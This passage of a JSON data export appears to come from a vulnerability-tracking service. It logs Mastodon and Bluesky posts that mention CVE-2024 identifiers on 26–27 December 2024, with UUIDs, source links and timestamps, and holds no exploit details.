"CVE-2024-12929", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le66zf7ikg2a", "content": "", "creation_timestamp": "2024-12-26T00:15:35.875157Z"}, {"uuid": "12e2940d-bfaa-4f95-b754-f62fea649e52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12930", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113716532079090499", "content": "", "creation_timestamp": "2024-12-26T01:29:36.437373Z"}, {"uuid": "314a5d1f-5abc-48ad-8682-978c4b0ccfa4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12930", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le6fqhtmn22i", "content": "", "creation_timestamp": "2024-12-26T02:15:52.727758Z"}, {"uuid": "0e6df28e-8e9f-486a-9a0d-c9fcee958057", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12931", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113716859337895197", "content": "", "creation_timestamp": "2024-12-26T02:52:50.027552Z"}, {"uuid": "1241bb33-a4f9-4b8e-8894-94c0d5d03e26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12932", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113716905332308143", "content": "", "creation_timestamp": "2024-12-26T03:04:31.792613Z"}, {"uuid": "3feb1828-d893-413f-a635-9701ca541b71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12931", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le6j3t4mti2c", "content": "", "creation_timestamp": "2024-12-26T03:15:55.108037Z"}, {"uuid": "6f442670-b209-4466-ac84-6c15c4a49605", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12932", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le6j3vaych2m", "content": "", "creation_timestamp": "2024-12-26T03:15:57.030791Z"}, {"uuid": "97608277-f95e-46fd-a48a-c3123c402199", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12933", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113717033736419617", "content": "", "creation_timestamp": "2024-12-26T03:37:11.199625Z"}, {"uuid": "c5fddb3a-04d5-489f-b551-dd119df872c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12934", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113717134068548136", "content": "", "creation_timestamp": "2024-12-26T04:02:42.111786Z"}, {"uuid": "c041416a-ea1e-4ee4-b6fe-7b63ca6d4fe8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12652", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113717171014006026", "content": "", "creation_timestamp": "2024-12-26T04:12:05.837376Z"}, {"uuid": "788d45b2-818d-4331-be3c-e06c6dc927bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12652", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le6mfwxpih2a", "content": "", "creation_timestamp": "2024-12-26T04:15:15.350919Z"}, {"uuid": "626cc907-9489-4477-93d6-2681847364e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12933", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le6mg2jcnl2o", "content": "", "creation_timestamp": "2024-12-26T04:15:18.792041Z"}, {"uuid": "7d0b0c5e-f065-4dc2-a4ae-342a6e9baecf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12934", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le6mg4zcwz2e", "content": "", "creation_timestamp": "2024-12-26T04:15:21.531943Z"}, {"uuid": "842cbd01-179b-46e8-845a-5917ba888c06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12935", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113717258271569788", "content": "", "creation_timestamp": "2024-12-26T04:34:17.230993Z"}, {"uuid": "af1f6fa0-a52c-47ea-a5f9-ffd386fa1861", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12936", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113717362767707549", "content": "", "creation_timestamp": "2024-12-26T05:00:51.734986Z"}, {"uuid": "b9902372-c7a1-41fa-b75c-0bfbcfaf7c1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12935", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le6prqp6fn2l", "content": "", "creation_timestamp": "2024-12-26T05:15:33.196700Z"}, {"uuid": "a47a0212-c3f1-4870-b64b-1fe5cc65d55b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12936", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le6prst2o225", "content": "", "creation_timestamp": "2024-12-26T05:15:35.497069Z"}, {"uuid": "111d0319-8c78-4ed1-b2fa-e8476c88f6b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12938", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113717603134015061", "content": "", "creation_timestamp": "2024-12-26T06:01:59.897146Z"}, {"uuid": "3e6fe95b-de74-4f85-880f-285b3915487e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12937", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le6t4r3m7h2m", "content": "", "creation_timestamp": "2024-12-26T06:15:23.610061Z"}, {"uuid": "053c43d6-b963-481a-befc-441ea70c7773", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12938", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le6t4tadq222", "content": "", "creation_timestamp": "2024-12-26T06:15:25.360625Z"}, {"uuid": "1b5c772c-fe92-459d-83bf-e646d53c9876", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12939", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113717739699820540", "content": "", "creation_timestamp": "2024-12-26T06:36:43.269917Z"}, {"uuid": "db8e8fd9-a06d-4a50-8294-c7573fb5d55a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12940", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113717854312283474", "content": "", "creation_timestamp": "2024-12-26T07:05:52.159778Z"}, {"uuid": "fa1a0587-3420-4e75-853e-1d78f2142d46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12939", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le6whxkuoh25", "content": "", "creation_timestamp": "2024-12-26T07:15:20.275663Z"}, {"uuid": "da6ec334-9f1a-4740-af35-bf653bf5f7fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12940", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le6whzualc2i", "content": "", "creation_timestamp": "2024-12-26T07:15:22.735915Z"}, {"uuid": "2f619499-7ca9-4af4-82f0-7d8fc5506583", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/volk149.bsky.social/post/3le6win26uc2g", "content": "", "creation_timestamp": "2024-12-26T07:15:43.949135Z"}, {"uuid": "f7b0fbcc-4b66-4e11-b77c-cf3e342b1a92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12942", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113718072802078139", "content": "", "creation_timestamp": "2024-12-26T08:01:25.964973Z"}, {"uuid": "d1c50970-2571-49f2-a816-802fb78dd257", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12941", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le6ztcm6jw2o", "content": "", "creation_timestamp": "2024-12-26T08:15:22.955363Z"}, {"uuid": "44e2495b-9f9a-4d06-a859-b25ecdc08ed3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12942", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le6ztflwyg2o", "content": "", "creation_timestamp": "2024-12-26T08:15:25.671481Z"}, {"uuid": "33a47f89-1e23-4caf-a96b-2caaf1ac7c37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12943", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113718200229503703", "content": "", "creation_timestamp": "2024-12-26T08:33:50.407382Z"}, {"uuid": "242a0b5b-92d0-44e2-89bc-a0c0949ee9aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12944", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113718341108919197", "content": "", "creation_timestamp": "2024-12-26T09:09:40.078321Z"}, {"uuid": "2aa77576-408c-4016-9eb6-42986a75b3d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12943", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le756pspvs2i", "content": "", "creation_timestamp": "2024-12-26T09:15:26.779662Z"}, {"uuid": "26326fbb-fea2-4944-a5fe-df6e52e503b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12944", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le756sbvow22", "content": "", "creation_timestamp": "2024-12-26T09:15:29.259717Z"}, {"uuid": "093b988a-3c47-4e6b-80a8-6bbb9ed1e025", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12945", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113718441625348921", "content": "", "creation_timestamp": "2024-12-26T09:35:13.658563Z"}, {"uuid": "6e68b9ce-7e2d-4144-a737-922fc3969842", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12945", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le7ajrwkmm2o", "content": "", "creation_timestamp": "2024-12-26T10:15:19.166440Z"}, {"uuid": "0f535740-3223-41c5-84ce-1a5d45345e68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12946", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le7ajyd77h2k", "content": "", "creation_timestamp": "2024-12-26T10:15:26.011996Z"}, {"uuid": "84c3f8ba-1070-4da8-8a20-5e49f814d0ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12947", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113718691299726941", "content": "", "creation_timestamp": "2024-12-26T10:38:43.553875Z"}, {"uuid": "a7d81810-2480-4b36-8d55-c349df94e4ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12948", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113718788954636657", "content": "", "creation_timestamp": "2024-12-26T11:03:33.901819Z"}, {"uuid": "120a8bf8-929e-4b62-9a4a-0b293f3ae71d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12744", "type": "seen", "source": "https://bsky.app/profile/happygeek.bsky.social/post/3le7dllukqs2r", "content": "", "creation_timestamp": "2024-12-26T11:10:03.783163Z"}, {"uuid": "19e067e3-c913-4648-982e-e4868c37ace4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12745", "type": "seen", "source": "https://bsky.app/profile/happygeek.bsky.social/post/3le7dllukqs2r", "content": "", "creation_timestamp": "2024-12-26T11:10:03.831994Z"}, {"uuid": "b661b462-2282-4463-8c8e-c9b808119529", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12746", "type": "seen", "source": "https://bsky.app/profile/happygeek.bsky.social/post/3le7dllukqs2r", "content": "", "creation_timestamp": "2024-12-26T11:10:03.875901Z"}, {"uuid": "a0c3edcc-baa0-4d1d-8502-04295cb83c93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12947", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le7dv3zlii25", "content": "", "creation_timestamp": "2024-12-26T11:15:20.014050Z"}, {"uuid": "affb6ce7-13d5-4ada-8b2c-2932b163cb56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12948", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le7dv6jvsh25", "content": "", "creation_timestamp": "2024-12-26T11:15:22.791734Z"}, {"uuid": "8b557d8b-5fdc-4511-af52-93d27f35f124", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12949", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113718906436240416", "content": "", "creation_timestamp": "2024-12-26T11:33:26.324619Z"}, {"uuid": "2a3b20a6-c07e-466f-8486-27fd0c66b4f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12950", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113719038878794043", "content": "", "creation_timestamp": "2024-12-26T12:07:07.209817Z"}, {"uuid": "ceb79466-d026-4e04-a3a7-c8fd5657baa3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12949", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le7hagnfkz2f", "content": "", "creation_timestamp": "2024-12-26T12:15:21.424153Z"}, {"uuid": "f6692832-e7d5-401e-b374-5f7b1f6832df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12950", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le7hajnsuj2i", "content": "", "creation_timestamp": "2024-12-26T12:15:24.358895Z"}, {"uuid": "841d45f3-c645-480a-a800-76864dc61951", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12744", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3le7hvcttcj2z", "content": "", "creation_timestamp": "2024-12-26T12:27:02.768281Z"}, {"uuid": "d686c573-95e6-48da-99d1-bb67d7428ebf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12745", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3le7hvcttcj2z", "content": "", "creation_timestamp": "2024-12-26T12:27:02.839276Z"}, {"uuid": "a96493fa-c7dd-475d-9de6-c0c8d66b44b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12746", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3le7hvcttcj2z", "content": "", "creation_timestamp": "2024-12-26T12:27:02.887127Z"}, {"uuid": "9b98bf91-e3e1-4d60-b20a-293334422b2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12952", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113719255887020190", "content": "", "creation_timestamp": "2024-12-26T13:02:18.427934Z"}, {"uuid": "799b64b0-6de4-42c6-9ddc-1676d449c26f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12951", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le7klrcclq2c", "content": "", "creation_timestamp": "2024-12-26T13:15:23.286395Z"}, {"uuid": "6a2d588f-b4f8-41d3-9090-8470c1c1b659", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12952", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le7klu7hrj2i", "content": "", "creation_timestamp": "2024-12-26T13:15:25.886284Z"}, {"uuid": "0738c427-237e-4b44-b74b-68028d4bbda6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12953", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113719382770221979", "content": "", "creation_timestamp": "2024-12-26T13:34:34.594033Z"}, {"uuid": "e5b601a0-dd90-465f-b2ec-3249613a4ec4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12744", "type": "seen", "source": "https://bsky.app/profile/eyalestrin.bsky.social/post/3le7lw5fc4e2s", "content": "", "creation_timestamp": "2024-12-26T13:39:04.916334Z"}, {"uuid": "854ad4cb-0b16-4d18-933d-c71b090b7031", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12745", "type": "seen", "source": "https://bsky.app/profile/eyalestrin.bsky.social/post/3le7lw5fc4e2s", "content": "", "creation_timestamp": "2024-12-26T13:39:04.970351Z"}, {"uuid": "9558cf34-a9ca-4919-a6e2-39082f53b0f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12746", "type": "seen", "source": "https://bsky.app/profile/eyalestrin.bsky.social/post/3le7lw5fc4e2s", "content": "", "creation_timestamp": "2024-12-26T13:39:05.017130Z"}, {"uuid": "ebe6c0d4-8edd-4e59-91e9-e272bc9cc73a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12954", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113719509804974954", "content": "", "creation_timestamp": "2024-12-26T14:06:52.908796Z"}, {"uuid": "fa053c3a-2cff-4df8-b1b1-0df52bc64ba7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12955", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113719618869596614", "content": "", "creation_timestamp": "2024-12-26T14:34:37.089437Z"}, {"uuid": "1dd8a139-e3ab-4468-9507-d91538f8aebf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12956", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113719746074741440", "content": "", "creation_timestamp": "2024-12-26T15:06:58.102533Z"}, {"uuid": "b36d58e1-60d4-40f1-9810-8285a10922bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12958", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113719850594149504", "content": "", "creation_timestamp": "2024-12-26T15:33:33.006378Z"}, {"uuid": "8ce8f15e-16af-4834-a3ea-a7894290d09b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12908", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113719903362852151", "content": "", "creation_timestamp": "2024-12-26T15:46:58.198290Z"}, {"uuid": "66cbed36-5a2e-4bcb-882b-463e3a7844a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12959", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113719979875603309", "content": "", "creation_timestamp": "2024-12-26T16:06:25.793278Z"}, {"uuid": "eb816925-be16-4330-ac1f-1ae8b7bfeacf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12960", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113720336433090004", "content": "", "creation_timestamp": "2024-12-26T17:37:06.305006Z"}, {"uuid": "f396519f-b68b-45a9-8d09-6feadfa78923", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12961", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113720432239573683", "content": "", "creation_timestamp": "2024-12-26T18:01:28.103353Z"}, {"uuid": "25511e59-45a5-48f7-8b89-53a616ba2fe8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12962", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113720670272522449", "content": "", "creation_timestamp": "2024-12-26T19:02:00.464986Z"}, {"uuid": "0817f1f6-c056-4592-a7d8-2a7c6b52b628", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12963", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113720813157342640", "content": "", "creation_timestamp": "2024-12-26T19:38:20.607683Z"}, {"uuid": "d0c5f2c5-d614-4d68-bc08-177fca7115d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12964", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113720908529913266", "content": "", "creation_timestamp": "2024-12-26T20:02:35.753655Z"}, {"uuid": "0023fa57-e25b-4b9c-9d09-d5f1099a9ab8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12965", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113721045858695417", "content": "", "creation_timestamp": "2024-12-26T20:37:31.227955Z"}, {"uuid": "d653f4ff-58f2-42c2-8791-89a90a322ba9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12966", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113721140540808089", "content": "", "creation_timestamp": "2024-12-26T21:01:36.001787Z"}, {"uuid": "cfbd6249-618b-4f25-9c83-67d09250412c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12967", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113721264813426211", "content": "", "creation_timestamp": "2024-12-26T21:33:12.319642Z"}, {"uuid": "99e52448-6878-45f1-b199-12a382461d94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12968", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113721385308527959", "content": "", "creation_timestamp": "2024-12-26T22:03:50.791014Z"}, {"uuid": "3c12f12a-5ed2-4686-97f6-4f93745816b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12969", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3leam4pdojb25", "content": "", "creation_timestamp": "2024-12-26T23:15:25.059922Z"}, {"uuid": "220b2452-947c-42bd-8a79-c1935e1bda8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12977", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113722323447112270", "content": "", "creation_timestamp": "2024-12-27T02:02:25.995609Z"}, {"uuid": "ac24111a-8578-4f9b-9c61-85d1674a5a92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12976", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3leaw6jiwpo2k", "content": "", "creation_timestamp": "2024-12-27T02:15:23.854245Z"}, {"uuid": "bd70646d-6c9a-4ea9-8bb8-1dd8e0a049f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12977", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3leaw6lwpoc2i", "content": "", "creation_timestamp": "2024-12-27T02:15:26.132277Z"}, {"uuid": "16d7a9d9-63cd-4ba9-ab1b-4c9d735cf1e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 